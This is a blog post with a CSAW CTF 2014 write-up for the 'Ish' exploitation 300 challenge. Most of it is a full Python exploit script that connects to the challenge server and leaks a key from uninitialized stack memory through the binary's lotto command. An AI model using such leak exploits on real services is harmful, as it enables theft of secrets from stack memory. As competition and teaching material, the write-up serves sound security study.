Monday, September 22, 2014

CSAW CTF 2014 - Ish Exploitation 300 Write-up

Hi,
This time with a quick writeup . Well , I took some time to reverse the binary under IDA and I soon discovered that the vulnerability was a memory leak which leaks 16 bytes from the stack and the vulnerable function was cmd_lotto, here's the full exploit :

#Spiderz : @Souhail
#The key is being read from the key file , if the supplied username is root\x00.
#The buffer containing the read key is always zeroed unless the key supplied by the user is invalid. In my case I exceed its max length 61 bytes.
import socket
import struct
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('54.208.86.14',9988))
sweet_flag = ''
#s.connect(('localhost',9988))
print 'Wait for it ...\n'
s.recv(1024)
s.send('spiderz')
s.recv(1024)
for i in range(4):
s.send('login')
s.recv(1024)
s.send('\x41'*64) # Login with a large username to 'allocate' more of the stack (strcpy protection)
s.recv(1024)
s.send('login')
s.recv(1024)
s.send('root'+'\x00') # Force login using root with nullbyte
s.recv(1024)
s.send('\x44'*128) # Large password to bypass zeroing the key (login fails => return to the parent shell with the key leaked in the unwinded stack frame)
s.recv(1024)
s.send('exit') # Back to the original shell stack (2 stack frames unwinded now in total)
s.recv(1024)
s.send('login')
s.recv(1024)
s.send('\x42'*(128-16*i)) #Provide a longer username to boost our selves up closer to the leaked key in the stack (lotto variables stack space < shell variables stack pace).
#Each loop substracts 16 bytes from the string. Thus controlling where lotto function variables are (making lotto print the read key as it was the randed numbers).
s.recv(1024)
s.send('lotto') # run the command which calls the vulnerable function
s.recv(1024)
s.send('\x30') # Supply 0 to it , which results in keeping the variables uninitialized.
s.recv(1024) # these numbers won't be compared anyway (supplied 0 as a lvl)
s.send('1515') # guessed num 1
s.recv(1024)
s.send('15') # guessed num 2
s.recv(1024)
s.send('50') # guessed num 3
s.recv(1024)
s.send('1337') # guessed num 4
s.recv(1024)
int_flag = s.recv(1024)
int_flag = int_flag.split('\n')[2].split(',')
for j in range(4) :
sweet_flag += struct.pack("<I",int(int_flag[j]))
s.send('exit') # back to the original shell (spiderz username)
s.recv(1024)
s.close()
print "I haz teh flagz : " + sweet_flag
view raw ish_300.py hosted with ❤ by GitHub
I'll publish a writeup for exploitation 400 ( saturn ) as soon as possible.

Download binary : Here
Follow me on Twitter : Here

See you soon :).

- Souhail

1 comment: